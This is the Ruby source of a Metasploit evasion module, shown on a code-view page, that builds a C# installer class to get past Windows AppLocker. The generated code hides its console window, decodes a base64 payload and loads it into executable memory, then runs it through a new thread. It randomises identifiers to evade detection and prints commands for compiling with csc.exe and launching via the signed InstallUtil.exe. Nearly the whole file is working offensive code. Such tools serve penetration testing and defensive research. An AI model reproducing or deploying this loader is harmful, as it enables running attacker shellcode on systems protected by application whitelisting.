Path: blob/master/modules/evasion/windows/applocker_evasion_install_util.rb
19516 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Evasion67def initialize(info = {})8super(9update_info(10info,11'Name' => 'Applocker Evasion - .NET Framework Installation Utility',12'Description' => %q{13This module will assist you in evading Microsoft Windows14Applocker and Software Restriction Policies.15This technique utilises the Microsoft signed binary16InstallUtil.exe to execute user supplied code.17},18'Author' => [19'Nick Tyrer <@NickTyrer>', # module development20'Casey Smith' # install_util bypass research21],22'License' => MSF_LICENSE,23'Platform' => 'win',24'Arch' => [ARCH_X86, ARCH_X64],25'Targets' => [['Microsoft Windows', {}]],26'References' => [['URL', 'https://attack.mitre.org/techniques/T1118/']]27)28)2930register_options(31[32OptString.new('FILENAME', [true, 'Filename for the evasive file (default: install_util.txt)', 'install_util.txt'])33]34)35end3637def build_payload38Rex::Text.encode_base64(payload.encoded)39end4041def obfu42Rex::Text.rand_text_alpha 843end4445def install_util46esc = build_payload47mod = [obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu]48<<~HEREDOC49using System;50namespace #{mod[12]}51{52public class #{mod[11]} { public static void Main() { } }53[System.ComponentModel.RunInstaller(true)]54public class #{mod[10]} : System.Configuration.Install.Installer55{56private static Int32 #{mod[0]}=0x1000;57private static IntPtr #{mod[1]}=(IntPtr)0x40;58private static UInt32 #{mod[2]} = 0xFFFFFFFF;59[System.Runtime.InteropServices.DllImport("kernel32")]60private static extern IntPtr VirtualAlloc(IntPtr a, UIntPtr s, Int32 t, IntPtr p);61[System.Runtime.InteropServices.DllImport("kernel32")]62private static extern IntPtr CreateThread(IntPtr att, UIntPtr st, IntPtr sa, IntPtr p, Int32 c, ref IntPtr id);63[System.Runtime.InteropServices.DllImport("kernel32")]64private static extern UInt32 WaitForSingleObject(IntPtr h, UInt32 ms);65[System.Runtime.InteropServices.DllImport("user32.dll")]66static extern bool ShowWindow(IntPtr #{mod[3]}, int nCmdShow);67[System.Runtime.InteropServices.DllImport("Kernel32")]68private static extern IntPtr GetConsoleWindow();69const int #{mod[4]} = 0;70public override void Uninstall(System.Collections.IDictionary s)71{72IntPtr #{mod[3]};73#{mod[3]} = GetConsoleWindow();74ShowWindow(#{mod[3]}, #{mod[4]});75string #{mod[5]} = "#{esc}";76byte[] #{mod[6]} = Convert.FromBase64String(#{mod[5]});77byte[] #{mod[7]} = #{mod[6]};78IntPtr #{mod[8]} = VirtualAlloc(IntPtr.Zero, (UIntPtr)#{mod[7]}.Length, #{mod[0]}, #{mod[1]});79System.Runtime.InteropServices.Marshal.Copy(#{mod[7]}, 0, #{mod[8]}, #{mod[7]}.Length);80IntPtr #{mod[9]} = IntPtr.Zero;81WaitForSingleObject(CreateThread(#{mod[9]}, UIntPtr.Zero, #{mod[8]}, #{mod[9]}, 0, ref #{mod[9]}), #{mod[2]});82}83}84}85HEREDOC86end8788def file_format_filename(name = '')89name.empty? ? @fname : @fname = name90end9192def create_files93f1 = datastore['FILENAME'].empty? ? 'install_util.txt' : datastore['FILENAME']94f1 << '.txt' unless f1.downcase.end_with?('.txt')95file1 = install_util96file_format_filename(f1)97file_create(file1)98end99100def instructions101print_status "Copy #{datastore['FILENAME']} to the target"102if payload.arch.first == ARCH_X86103print_status "Compile using: C:\\Windows\\Microsoft.Net\\Framework\\[.NET Version]\\csc.exe /out:#{datastore['FILENAME'].gsub('.txt', '.exe')} #{datastore['FILENAME']}"104print_status "Execute using: C:\\Windows\\Microsoft.Net\\Framework\\[.NET Version]\\InstallUtil.exe /logfile= /LogToConsole=false /U #{datastore['FILENAME'].gsub('.txt', '.exe')}"105else106print_status "Compile using: C:\\Windows\\Microsoft.Net\\Framework64\\[.NET Version]\\csc.exe /out:#{datastore['FILENAME'].gsub('.txt', '.exe')} #{datastore['FILENAME']}"107print_status "Execute using: C:\\Windows\\Microsoft.Net\\Framework64\\[.NET Version]\\InstallUtil.exe /logfile= /LogToConsole=false /U #{datastore['FILENAME'].gsub('.txt', '.exe')}"108end109end110111def run112create_files113instructions114end115end116117118